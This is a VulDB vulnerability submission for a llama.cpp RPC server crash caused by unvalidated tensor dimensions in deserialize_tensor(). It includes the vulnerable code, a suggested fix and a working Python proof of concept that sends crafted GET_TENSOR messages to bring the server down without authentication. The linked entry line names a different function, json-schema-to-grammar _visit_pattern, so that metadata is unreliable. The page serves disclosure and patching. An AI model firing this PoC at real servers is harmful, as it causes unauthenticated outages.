Invia #798503: ggml-org llama.cpp confirmed on commit d006858 / 2025-04-03 and commit e15efe0 / tag b8635+1) Reachable Assertioninformazioni

Titologgml-org llama.cpp confirmed on commit d006858 / 2025-04-03 and commit e15efe0 / tag b8635+1) Reachable Assertion
Descrizione## CVSS **CVSS 3.1 Vector:** AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H **CVSS 3.1 Score:** 7.5 High --- ## Summary The `deserialize_tensor()` function in llama.cpp's ggml-rpc server passes attacker-controlled tensor dimension values (`ne[0]`) directly to `ggml_new_tensor_4d()` without validating that `ne[0]` is a multiple of the tensor type's block size. For quantized types (Q4_0, Q4_1, Q5_0, Q5_1, Q8_0, etc.) with block sizes of 32 or 256, sending `ne[0]=1` triggers `assert(ne % ggml_blck_size(type) == 0)` in `ggml_row_size()` at `ggml/src/ggml.c:1293`, crashing the RPC server with SIGABRT. No authentication is required. Two TCP messages (HELLO handshake + one crafted SET_TENSOR/GET_TENSOR command) crash the server. Six different RPC commands (SET_TENSOR, GET_TENSOR, SET_TENSOR_HASH, INIT_TENSOR, COPY_TENSOR, GRAPH_COMPUTE) all exercise the vulnerable `deserialize_tensor()` path. This is distinct from CVE-2026-34159 (GHSA-j8rj-fmpv-wcxw), which patches a `buffer=0` data pointer bypass in `create_node()` a different function in the GRAPH_COMPUTE path only. The CVE-2026-34159 fix (PR #20908) does not touch `deserialize_tensor()` dimension validation. --- ## Technical Details ### Vulnerable Code The function validates type range and block size, but does NOT check dimension alignment: ```cpp // ggml-rpc.cpp, deserialize_tensor(): if (tensor->type >= GGML_TYPE_COUNT) { return nullptr; } // ✓ type range if (ggml_blck_size((enum ggml_type)tensor->type) == 0) { return nullptr; } // ✓ block size // BUG: ne[0] passed directly from attacker without alignment check ggml_tensor * result = ggml_new_tensor_4d(ctx, (ggml_type) tensor->type, tensor->ne[0], tensor->ne[1], tensor->ne[2], tensor->ne[3]); ``` ### Assertion in ggml_row_size() ```c size_t ggml_row_size(enum ggml_type type, int64_t ne) { assert(ne % ggml_blck_size(type) == 0); // ← CRASHES: 1 % 32 != 0 return ggml_type_size(type)*ne/ggml_blck_size(type); } ``` ### Release Build Risk The `assert()` is the C standard macro, compiled away by `-DNDEBUG` in release builds. With the assertion removed, `ggml_row_size()` computes a zero-size row via integer truncation (`type_size * 1 / 32 = 0`), which represents a violated safety invariant. Current downstream checks incidentally prevent escalation, but this is fragile. --- ## Exploit / PoC **File:** `poc-012-rpc-tensor-assert.py` (Python 3) **Reproduction:** ```python import socket, struct sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("127.0.0.1", 50052)) # HELLO sock.sendall(b"\x0e" + struct.pack("<Q", 0)) sock.recv(1024) # Crafted rpc_tensor: type=Q4_0 (2), ne[0]=1 (misaligned to blck_size=32) tensor = bytearray(296) struct.pack_into("<I", tensor, 8, 2) # type = Q4_0 struct.pack_into("<I", tensor, 20, 1) # ne[0] = 1 (NOT multiple of 32) struct.pack_into("<I", tensor, 24, 1) # ne[1] = 1 struct.pack_into("<I", tensor, 28, 1) # ne[2] = 1 struct.pack_into("<I", tensor, 32, 1) # ne[3] = 1 payload = bytes(tensor) + struct.pack("<Q", 0) + struct.pack("<Q", 64) sock.sendall(b"\x08" + struct.pack("<Q", len(payload))) # GET_TENSOR sock.sendall(payload) # Server crashes: assert(ne % ggml_blck_size(type) == 0) → SIGABRT ``` --- ## Suggested Fix ```cpp size_t blck = ggml_blck_size((enum ggml_type)tensor->type); if (blck > 0 && tensor->ne[0] % blck != 0) { GGML_LOG_ERROR("[%s] ne[0] (%u) not aligned to block size (%zu)\n", __func__, tensor->ne[0], blck); return nullptr; } ``` --- ## Discovery - **Tool:** Crucible fuzzer — `harness_rpc.cpp` libFuzzer harness - **Date:** 2026-04-03 - **Confirmed on:** llama.cpp commit d006858 and e15efe0
Utente
 m00dy (UID 97162)
Sottomissione07/04/2026 03:37 (4 mesi fa)
Moderazione26/07/2026 19:33 (4 months later)
StatoAccettato
Voce VulDB383353 [ggml-org llama.cpp d006858/e15efe0 json-schema-to-grammar.cpp _visit_pattern negazione del servizio]
Punti17

Interested in the pricing of exploits?

See the underground prices here!